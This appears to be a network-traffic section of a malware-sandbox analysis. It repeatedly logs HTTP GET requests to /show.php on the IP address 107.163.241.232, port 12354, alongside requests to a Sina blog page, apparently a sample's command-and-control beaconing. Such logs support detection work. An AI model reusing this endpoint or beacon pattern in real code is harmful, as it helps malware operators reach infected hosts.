Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.232:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnCookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
